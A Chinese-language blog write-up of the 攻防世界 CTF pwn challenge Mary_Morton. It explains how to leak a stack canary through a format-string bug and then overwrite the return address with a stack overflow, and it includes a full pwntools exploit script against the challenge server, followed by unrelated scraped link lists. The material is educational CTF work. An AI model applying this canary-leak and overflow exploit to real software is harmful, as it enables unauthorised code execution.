ctf(pwn) canary保护机制讲解 与 破解方法介绍

程序执行流程

有三个选项,1是利用栈溢出,2是利用格式化字符串,3是退出;可连续输入多次;

IDA分析

解题思路

程序存在canary保护,利用格式化字符串漏洞 得到canary的位置, 在利用栈溢出覆盖它,返回地址改为目标函数 4008da

EXP

from pwn import *
r=remote('111.200.241.244',58448)
r.sendlineafter("3. Exit the battle ",'2')     #先进入格式化字符串利用
r.sendline("%23$p")
r.recvuntil("0x")
canary=int(r.recv(16),16)      #长度16位      取16进制
r.sendlineafter("3. Exit the battle ",'1')     #再进入栈溢出利用
payload='a'*0x88+p64(canary)+'a'*8+p64(0x4008da)
r.send(payload)
r.interactive()

EXP解读

  1. r.sendline("%23$p")
    0x90-8h=0x88

0x88/0x8=0x11(十进制17)
这里除以8是因为(我翻了一下汇编语言这一本书):

8bit组成1个Byte,也就是一个字节

微型机存储器的存储单元可以存储一个字节,即8个二进制位

一个存储器有128个存储单元,它可存储128个字节

往后找17+6=23个地址上即存canary的值

这里加6是 print输入的偏移量
可以看看 CTF(pwn)-格式化字符串漏洞讲解(二) --攻防世界CGfsb

2.payload='a'*0x88+p64(canary)+'a'*8+p64(0x4008da)

有问题的评论区留言吧,我会回的❄

攻防世界(pwn)--Mary_Morton 利用格式化字符串+栈溢出破解Canary的保护机制相关推荐

  1. [攻防世界 pwn]——Mary_Morton

    [攻防世界 pwn]--Mary_Morton 题目地址: https://adworld.xctf.org.cn/ 题目: checksec看下,64位还开启了NX和canary保护.(一般开启ca ...

  2. XCTF-攻防世界CTF平台-PWN类——1、Mary_Morton(格式化字符串漏洞、缓冲区溢出漏洞)

    目录标题 1.查看程序基本信息 2.反编译程序 3.攻击思路 (1)先利用功能2格式化字符串漏洞 (2)找到功能1的sub_400960()函数返回地址的位置 方法二 1.查看程序基本信息 Mary_ ...

  3. realloc函数UAF利用|攻防世界pwn进阶区supermarket

    文章目录 思路 0x00.tar解压 0x01.查看保护 0x02.查看程序并调试 0x03.漏洞分析 realloc函数详解 0x04.利用思路 利用过程 exp-1 解法二 函数须知 0x00.查 ...

  4. 攻防世界 Pwn 进阶 第一页

    00 要把它跟之前新手区的放在一起总结,先稍稍回顾一下新手区. 攻防世界 Pwn 新手 1.栈溢出,从简单到难,开始有后门函数,到需要自己写函数参数,到最后的ret2libc. 常见漏洞点有read( ...

  5. [攻防世界 pwn]——pwn1(内涵peak小知识)

    [攻防世界 pwn]--pwn1 题目地址:https://adworld.xctf.org.cn/ 题目: peak小知识 这道题目的关键就是泄露canary,通常我们泄露canary有两种方法,遇 ...

  6. 攻防世界 Pwn 进阶 第二页

    00 这文章更重要的是对这些题进行一个总结,说一些值得注意的地方,写一些自己的理解. 为了形成一个体系,想将前面学过的一些东西都拉来放在一起总结总结,方便学习,方便记忆. 攻防世界 Pwn 新手 攻防 ...

  7. 【pwn】攻防世界 pwn新手区wp

    [pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...

  8. 攻防世界(Pwn) forgot---栈溢出;(方法一)

    攻防世界(Pwn) forgot-栈溢出:(方法二) 介绍 这道题表面看起来有点复杂,其实很简单,有两种方法可以来做这一道题; 方法一(精确打击) 文件运行流程是: 1.先输入名字 2. 输入一串字符 ...

  9. [攻防世界 pwn]——forgot

    [攻防世界 pwn]--forgot 题目地址: https://adworld.xctf.org.cn/ 题目: 在checksec看下保护 在IDA中, 竟然有后面函数, 找到sub_80486C ...

最新文章

  1. 修正r s分析法matlab程序,关于R/S分析程序用法
  2. python批量删除特定字符_根据某个特定字符删除一行
  3. C# 和 VB.NET 下,
  4. codevs1219 骑士遍历(棋盘DP)
  5. 动图演示23个鲜为人知的VSCode快捷键
  6. P2831-愤怒的小鸟【状压dp】
  7. org.hibernate.MappingException: Could not determine type for: java.util.List, at table: user, for...
  8. python发邮件主机找不到_Python 使用QQ邮箱发邮件
  9. python实现一个简单的加法计算器_Python简易项目 加减计算器的实现
  10. 手把手教你用OpenCV实现机器学习最简单的k-NN算法(附代码)
  11. 2014 中华架构师大会 回想
  12. android中的多媒体应用camera
  13. Python爬虫入门之使用Redis+Flask维护动态代理池
  14. mssql2000跟mssql2005共享问题
  15. node.val java_LeetCode——21. 合并两个有序链表(Java)
  16. 基于51单片机的超声波红外避障捡拾小车
  17. SetTimer函数总结
  18. 从NPU-SLAM-EDA技术分析
  19. 图片像素低,图片模糊怎么变清晰?
  20. DepthMap(1):D. Eigen (NIPS2014)

热门文章

  1. python3 枚举定义和使用
  2. Rabbitmq消息发送事务与确认机制
  3. [Reprint] 探寻C++最快的读取文件的方案
  4. python3 shell 正则表达式 攫取复杂字符串特定子串
  5. SGU 269. Rooks(DP)
  6. RABBITMQ 管理指南(添加虚拟HOST)
  7. 网上报名的一些感慨.
  8. 在斜坡上哪个物体滚的最快_人教版一年级上册 第十七课 会滚的玩具
  9. oracle 创建视图时提示自定义的函数功能名不管用_PCS 7 CFC的常用功能与操作
  10. 定义交货输出条件类型(Output Types)